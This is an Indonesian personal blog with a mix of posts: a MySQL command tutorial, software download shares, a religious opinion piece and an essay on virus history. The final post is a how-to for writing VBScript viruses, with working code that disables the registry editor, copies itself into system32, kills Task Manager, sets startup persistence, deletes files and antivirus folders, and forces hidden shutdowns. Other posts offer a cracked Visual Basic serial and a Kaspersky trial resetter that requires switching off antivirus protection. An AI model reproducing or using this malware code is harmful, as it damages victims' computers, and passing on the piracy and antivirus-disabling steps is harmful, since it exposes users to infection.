Sabtu, 01 Oktober 2011

Command(Perintah) MySQL

MySQL dikembangkan sekitar tahun 1994 oleh sebuah perusahaan pengembang software dan konsultan database bernama MYSQL AB yang berada di Swedia. Waktu itu perusahaan tersebut masih bernama TcX DataKonsult AB, dan tujuan awal dikembangkannya MySQL adalah untuk mengembangkan aplikasi berbasis web pada client. Awalnya Michael "Monty" Widenius, pengembang satu-satunya di TcX memiliki sebuah aplikasi UNIREG dan rutin ISAM buatannya sendiri dan sedang mencari antarmuka SQL yang cocok untuk diimplementasikan ke dalamnya. Mula-mula Monty memakai miniSQL (mSQL) pada eksperimennya itu, namun SQL dirasa kurang sesuai, karena terlalu lambat dalam pemrosesan query. Akhirnya Monty menghubungi David Hughes, pembuat mSQL yang sedang merilis versi kedua dari mSQL. Kemudian Monty mencoba membuat sendiri mesin SQL yang memiliki antarmuka mirip dengan SQL, tetapi dengan kemampuan yang lebih sesuai sehingga lahirlah MySQL. Tentang pengambilan nama MySQL, sampai saat ini masih belum jelas asal usulnya. Ada yang berpendapat nama My diambil dari huruf depan dan belakang Monty, tetapi versi lain mengatakan nama itu diambil dari putri Monty yang kebetulan juga bernama My.

Perintah-perintah Dasar MySQL

1. Masuk ke MySQL
Ketikkan MySQL pada system agar kita bias masuk ke dalam database MySQL.

2. Melihat DATABASE
>show database;

3. Membuat DATABASE Baru
>create database nama_database;
* ingat: nama_database dirubah menjadi nama database sesuai dengan anda. Dalam tutorial ini kita akan membuat database latihan, serhingga perintahnya menjadi:
>create database latihan;

4. Menggunakan DATABASE
>use nama_database;
Karena kita membuat data base latihan, maka kita akan menggunakan database ini sehinga perintah tersebut menjadi:
>use latihan;



5. Membuat TABLE
>create table nama_table (nama_data tipe_data(panjang_karakter), …);

6. Melihat TABLE
>show tables;
Namun, untuk melihat sebuah table yang lebih lengkap beserta tipe-
tipe datanya, ikuti format berikut:
>describe nama_table;
Contoh: >describe alamat;

7. Merubah NAMA FIELD
>alter table nama_table change nama_field_lama nama_field_baru
tipe_data(panjang_karakter);
contoh: alter table alamat change no nomor varchar(10);
untuk melihat apa yang kita rubah, ketikkan:
>describe alamt;

8. Merubah TIPE DATA
>alter table nama_table modify nama_field
tipe_data_baru(panjang_karakter);
contoh: >alter table alamat modify kota varchar(17);

9. Menambah KOLOM/FIELD
>alter table nama_table add field_baru tipe_data(panjang_karakter);
Contoh: >alter table alamat add emai varchar(20);

10. Menghapus FIELD/KOLOM
>alter table nama_table drop nama_field
Contoh: >alter table alamat drop email;

11. Mengganti NAMA TABLE
>alter table_nama_table_lama rename nama_table_baru;
Contoh: >alter table alamat rename teman;

12. Memasukan DATA-DATA
>insert into nama_table values (‘data_field_1’,’data_field_2’,…);


13. Mengubah DATA-DATA
>update nama_table set nama_field=’isian_baru’ where
nama_field_lain=’isi_field_tersebut’;
contoh : >update teman set nama=’hari irah’ where no=2;

14 Melihat DATA-DATA
>select nama_field from nama_table where
nama_field_lain=’isi_filed_tersebut’;

Agar bias lebih mengerti dengan pembahasan ini, cobalah tanbah beberapa data. Karena untuk melihat table table memiliki banyak format, maka kita bias melihat sebuah table dengan berbagai macam cara, seprti:

a. Menampilkan semua kolom
>select * from nama_table;
Contoh : >select * from teman;

b. Menampilkan Kolom Tertentu
>select nama_field from nama_table;
Contoh : >select nama, telepon from alamat;

c. Menampilkan Kolom Tertentu Dengan Kondisi Tertentu
>select nama_fiel from nama_table where nama_field _tersebut’;
Contoh : >select nama from temen where kota=’jakarta’;

d. Menghindari Pengulangan Data pada Kolom
>select distinct nama_field from nama_table;
Contoh : >select distinct kota from teman;

e. Membatasi Data yang ditampilkan
>select nama_field_yang_mau_ditampilkan from nama_table limit
dari_baris,sampai_baris;
contoh : >select * from teman limit 2,6;

f. Mengurutkan Data
>select nama_field_yang_mau_ditampilkan from nama_table order by
nama_field klausa;

g. Menggabungkan Beberapa kondisi
> select nama_field_yang_mau_ditampilkan from nama_table where
nama_field=’isi_field’ operator_logika nama_field=’isi_field’;

h. Memberi Batas Data
> select nama_field_yang_mau_ditampilkan from nama_table where
nama_field between isi_field and isi_field;

i. Mencari Data denan Kriteria Tertentu
> select nama_field_yang_mau_ditampilkan from nama_table where
nama_field like ‘%’;

‘%’ ada 3 macam, yaitu:
‘ keyword%’: Mencari data yang diawali dengan keyword
‘%keyword’: Mencari data yang diakhiri dengan keyword
‘%keyword%’: Mencari data yang mengandung keyword

j. Menghapus Table
>drop table nama_table;
Contoh : > drop table alamat;

k. Menghapus Database
>drop database nama_database;
Contoh : > drop database latihan;

l. Keluar Dari MySQL
>quit;
Atau
>exit;_

Bisa Download disini

SELESAI

Read more »

Jumat, 08 Juli 2011

Extreme Copy(Get Fast Your Copy)

Kali ini saya akan share software untuk mempercepat copy file/folder. Kecepatannya mencapai 20%-120% daripada mengcopy biasanya.


Software ini akan mengehmat waktu anda karena akan mengoptimalkan kemampuan RAM anda dalam mengcopy suatu file.Software ini juga akan menampilkan kecepatan komputer anda saat mengcopy file.Software gratis ini juga telah mengeluarkan versi terbarunya yaitu 
Extreme Copy Standard Edition 1.5.1

Filenya pun cukup kecil sekitar 1.90MB
Download NOW

Read more »

Kamis, 07 Juli 2011

Microsoft Visual Basic 2010 Express Edition+Serial


Kelebihannya yang saya dapatkan
-Botton dan Toolboxnya lebih lengkap
-Bahasa pemogramannya mudah di mengerti dan dipahami
-lLebih mengutamakan kecanggihan dan juga keindahannya
Selebihnya itu saja yg saya tau kalau ingin mencoba silahkan download


VB(visual basic)2010 ini memiliki masa trial 29 hari dan untungnya sudah saya persiapkan SN-nya jadi UNLIMITED hehehe, dan katanya VB2010 EE  jika ingin memiliki visual basic secara penuh harus membeli seharga $3.00 atau 3juta rupiah.Jika ingin gratis download aja diatas

Supported Operating Systems Service Levels:

Windows XP Service Pack 3
Windows Server 2003 Service Pack 2
Windows Vista Service Pack 2
Windows Server 2008 Service Pack 2
Windows Server 2008 R2
Windows 7


Maaf Sebelumnya Link di Hapus Donwload ulang  
Disini

Read more »

Kaspersky Pure, KAV 2010 & 2011, KIS 2010 & 2011 Trial Resetter

Pernahkah anda membayangkan bahwa Kaspersky Pure, KAV 2010 & 2011, KIS 2010 & 2011 bisa dikembalikan masa trialnya 30 hari, nah kali ini saya akan share software buat resetnya

Pertama kita harus punya Kaspersky Pure, KAV 2010 & 2011, KIS 2010 & 2011,kalau mau 
download disini(web resmi)
Kedua ini dia softwarenya buat reset Download

Caranya cukup mudah:

1. Buka Kaspersky Pure / KAV / KIS 
2. Klik "Setting" di atas kanan
3. Pilih "Self Defense" pada tab sebelah kiri
4. Hilangkan tanda pada "Enable self defense" 
5. Klik apply lalu klik OK
6. Close Kaspersky Pure / KAV / KIS 
7. Klik kanan pada logo Kaspersky di sistem tray (bawah kanan) dan klik exit
8. Buka KTR911_v10.exe (yang tadi di donlot)
9. Klik "Reset Kaspersky"
10. Buka lagi Kaspersky Pure / KAV / KIS dan akan muncul Activation Wizard
11. Pilih Activate Trial Lincense dan klik next lalu finish
12. Sekarang masa berlaku trial agan menjadi 30 hari kembali

NB : Bila KTR911_v10.exe tidak bisa dibuka,,, matikan antivirus kamu

Sekian dan smoga bermanfaat

Read more »

Sabtu, 18 Juni 2011

Pemuda Indonesia Yang Malas

Sebagai bangsa dengan penduduk mayoritas beragama Islam dan para pemimpinnya pun banyak yang Muslim harusnya merasa malu, pasalnya hasil survei Lembaga Survei Indonesia (LSI) mengungkapkan bahwa hanya sedikit dari kaum muda Islam Indonesia yang melaksanakan salat lima waktu.
“Ini merupakan warning. Karena itu, para orangtua dan guru-guru untuk mendorong anak-anak muda generasi melaksanakan salat lima waktu karena bagaimana pun salat ini merupakan kewajiban,” papar Suryadharma di Kantor Kemenag, Jakarta.
Sebelumnya, LSI bekerjasama dengan Goethe Institute Friedrich Naumann Stiftung dan Fur Die Freiheit, menyebutkan hasil surveinya, bahwa kaum muda Islam Indonesia yang selalu menunaikan salat lima waktu hanya 28,7 persen, sedang yang sering salat lima waktu sebesar 30,2 persen.
Sementara itu, 59,6 persen menyatakan selalu berpuasa pada bulan Ramadhan. Ketika ditanya mengenai penguasaan Al-Qur’an hanya 11,7 persen memahami sebagian besar isi kitab suci agama Islam itu.
Menurut Suryadharma masalah ketaatan menjalankan perintah agama, memang suatu yang gampang-gampang susah, dan hal tersebut tidak bisa dijadikan sebagai kelalaian atau ketidakpedulian negara semata.
Sayangnya kemenag berkelit dengan mengatakan bahwa “masalah ibadah shalat dan membaca Al Qur’an lebih bersifat pribadi, maka justru peran orang tua sebagai pemberi contoh yang utama,”.
Sungguh Ironi melihat bangsa ini, pelaksanaan shalat yang menjadi kewajiban bagi seluruh Muslim, baik pribadi, orang tua, maupun masyarakat, memang tetap harus dikontrol pelaksanaannya oleh pemimpin (yang notabene Muslim juga).
Inilah salah satu dampak sekularisme sistem negara, dimana agama tidak dijadikan sebagai prioritas  utama dalam segi kehidupan, maka kehidupan yang berjalan pun makin acak adut. Peradilan, hukum, pendidikan, moral, ekonomi semua hanya memperlihatkan wajah kebobrokan bangsa yang menolak Syariat Islam.
astaghfirullah sungguh menyedihkan negeri muslim ini yang TIDAK MAU MELAKSANAKAN perintah Allah

Read more »

Minggu, 06 Maret 2011

Virus - Sejarah dan Evolusi


Disebut virus komputer, karena program perusak ini memiliki banyak kesamaan dengan virus biologis yang telah lebih dulu dikenal. Keduanya memiliki pola penyebaran yang sama. Manusia yang terinfeksi sebuah virus akan menulari manusia lain yang melakukan kontak dengannya.Demikian pula komputer yang terjangkiti virus, dia akan menulari komputer lain yang berbagi file dengannya.

Kesamaan lainnya terletak pada pola reproduksi. Karena tidak dapat mereproduksi dirinya sendiri, virus biologis menyuntikkan DNA-nya ke dalam sel tubuh manusia, dan memanfaatkan sistem reproduksi sel untuk berkembang biak. Hal yang sama berlaku pula pada virus komputer. Untuk meluncurkan serangan, virus komputer menunggangi sejumlah program atau dokumen lain. Pada saat program atau dokumen yang telah terinfeksi dijalankan, virus komputer akan menginfeksi program atau dokumen lainnya. Sifat-sifat khusus di atas yang membedakan virus dengan malware lain seperti worm malware yang bisa menyebarkan dan menggandakan dirinya sendiri atau spyware malware yang biasanya berjalan sebagai program standalone.

Sejarah Virus
Virus komputer kali pertama menyebar pada akhir 1980-an karena beberapa faktor. Faktor pertama adalah meluasnya pemakaian PC.Sebelum 1980-an, komputer rumahan hampir dapat dikatakan belum ada atau hanya berupa mainan. Komputer yang sesungguhnya masih sangat jarang, dan hanya digunakan oleh “para ahli” dari kalangan tertentu.

Faktor kedua adalah penggunaan computer bulletin board. Orang-orang dapat men-dial up sebuah bulletin board menggunakan modem, dan men-download berbagai jenis program komputer yang paling populer pada masa itu adalah game, kemudian disusul oleh word processor, spreadsheet, dan aplikasi produktif lainnya. Bulletin board pulalah yang mengantarkan sebuah virus perintis yang dikenal sebagai Trojan horse. Virus-virus generasi pertama tersebut merupakan sekumpulan kode yang disusupkan ke dalam program yang umum digunakan orang pada waktu itu, seperti game atau word processor populer.

Ketika seseorang mendownload program yang telah diinfeksi dengan kode-kode jahat tersebut dari bulletin board, dan menjalankannya di PC, virus me-loading dirinya ke dalam memory, dan mulai bekerja mencari program lain yang akan diinfeksi. Selanjutnya, penularan virus terjadi bila program yang telah terinfeksi diberikan kepada pengguna lain, baik melalu media floppy disk maupun di-upload ke bulletin board.

Evolusi Virus
Salah satu perkembangan penting yang berhasil diraih oleh virus adalah kemampuannya masuk ke dalam memory, dan tetap berjalan di belakang layar selama komputer menyala. Hal ini memberikan keleluasaan bagi virus untuk mereplikasinya dirinya secara efektif.

Perkembangan penting lainnya adalah kemampuan menginfeksi boot sector pada floppy disk dan hard disk. Boot sector adalah program kecil yang merupakan bagian pertama dari operating system yang di-loading ke dalam memory, saat komputer kali pertama dinyalakan. Dengan meletakkan kode-kodenya pada boot sector, sebuah virus memastikan dirinya akan tereksekusi dan aktif di komputer.

Virus yang ada di boot sector dapat menginfeksi boot sector setiap floppy disk yang dimasukkan ke dalam komputer yang telah terinfeksi. Jamaknya penggunaan komputer bersama seperti di rental komputer, warnet, atau kampus menjadikan penyebaran virus ini semakin tak terkendali.

Era kejayaan virus boot sector surut, karena ukuran program komputer yang semakin tambun tak lagi memungkinkan ditampung dalam sebuah floppy disk. Sebagai gantinya, program-program komputer didistribusikan di dalam CD yang tidak dapat ditulis (read-only). Namun, siklus kehidupan selalu berputar. Apa yang pernah terjadi pada masa silam, pasti akan terulang di masa depan.Begitu pula dengan pola penyebaran virus komputer. Virus telah menemukan jalan lain untuk menyebarluaskan dirinya, yakni melalui e-mail dan penggunaan USB flash disk.

Penyebaran virus komputer via Internet bukan barang baru, namun telah berlangsung sejak era bulletin board.Bila dulu virus disebarkan melalui bulletin board, sekarang mereka menggunakan e-mail yang dikirim sebagai spam. Demikian pula dengan virus boot sector yang dulu mengincar floppy disk, dan sempat surut ketika media penyimpanan populer berubah menjadi CD, kini mengubah sasarannya menjadi USB flash disk.

Sumber : PC Mild

Read more »

Kamis, 03 Maret 2011

Cara membuat script virus

1.mendisable registry
1.Masuk Notepad kemudian tulis script di bawah ini :
On Error Resume Next(perintah ini digunakan pada file vb
supaya kalo ada yang salah bisa dilanjutin kode selanjutnya)
CreateObject("WScript.Shell").run "cmd.exe /c reg add hkcusoftware\microsoft\windows\currentversion\poli cies\system /v
disableregistrytools /t reg_dword /d ""1"" /f", vbhide
sebenarnya banyak cara untuk mendisable regedit. misalnya kayak gini:
CreateObject("WScript.Shell").regwriteHKEY_CURRENT _USER\software\microsoft\windows\currentversion\po licies\systemdisableregistrytools", 1, "REG_DWORD"
2.save dengan nama yang kmska.vbs


2.Membuat Virus yang Dapat Mengopykan Diri Ke Derektory Lain
1.Masuk Notepad kemudian tulis script di bawah ini :
CreateObject("Scripting.FileSystemObject").
GetFile(WScript.ScriptFullName).Copy "c:\windows\system32\virus.vbs"
Ada juga cara lain dengan kide seperti ini:
On Error Resume Next
createobject("scripting.filesystemobject").copyfil e wscript.scriptfullname,
createobject("scripting.filesystemobject")
.getspecialfolder(1) & "\virus.vbs"
misalnya untuk mengkopikan diri ke direktory C:\WINDOWS\System32
dengan nama virus.vbs
.getspecialfolder(0) digunakan untuk direktory WINDOWS
.getspecialfolder(1) digunakan untuk direktory SYSTEM32 pada windowsXP
.getspecialfolder(2) digunakan untuk direktory Temporary
2.simpan dengan nama yg km ska.vbs

3.Membuat Virus Pembunuh Proses
1.Masuk Notepad kemudian tulis script di bawah ini :
misalnya kita akan membunuh proses taskmanager
On Error Resume Next
CreateObject("WScript.Shell")
.run "taskkill /f /im taskmgr.exe", vbhide
2.save eksistensinya vbs


4.Menjalankan Virus Pada Saat Startup Atau Saat Windows Dihidupkan
1.On Error Resume Next
CreateObject("WScript.Shell").RegWrite "HKEY_LOCAL_MACHINESoftware\Microsoft\Windows\Curr entVersion\Run\virus"
, "c:\windows\system32\virus.vbs"
(menjalankan virus yang berada di direktory c:\windows\system32
dengan nama virus.vbs)
2.simpan dalam bentuk eksistensi reg(caranya sma ama vbs)


5.Membuat Virus Yang Dapat Menghapus File/Folder
Masuk Notepad kemudian tulis script di bawah ini, agar virus yang kita buat tidak banyak menggunakan script bisa di singkat seperti ini:
On Error Resume Next
set hapus = CreateObject("Scripting.FileSystemObject")
hapus.DeleteFile "C:\xxx.exe" '(menghapus file xxx.exe di direktory C:\)
hapus.DeleteFolder "C:\antivirus" '(menghapus folder antivirus di direktory C:\)
Contoh :
On Error resume Next
set hapus = CreateObject(”Scripting.FileSystemObject”)
hapus.DeleteFile “C:\Program Files\Adobe\Reader 8.0\Reader\AcroRd32.exe”
hapus.DeleteFolder “C:\antivirus”
Simpan script tersebut dalam bentuk file.vbs, misal: virusdeleted.vbs


6.Membuat Virus Yang Dapat Merestart Windows
Masuk Notepad kemudian tulis script di bawah ini :
CreateObject("WScript.Shell").run "shutdown -r -f -t 60", vbhide
merestart windows dalam waktu 60 sekon
Simpan script tersebut dalam bentuk file.vbs, misal: virusrestart.vbs


7.Membuat Virus Yang Dapat Men-Shutdown Dan Merestart Windows
Masuk Notepad kemudian tulis script di bawah ini :
CreateObject("WScript.Shell").run "shutdown -s -f -t 60", vbhide
Mematikan windows dalam waktu 60 sekon
“shutdown -s -f -t 60"
S = untuk shutdown dan
R = untuk reboot\restart
Simpan script tersebut dalam bentuk file.vbs, misal : virusshutdown.vbs

Read more »

Friends Blog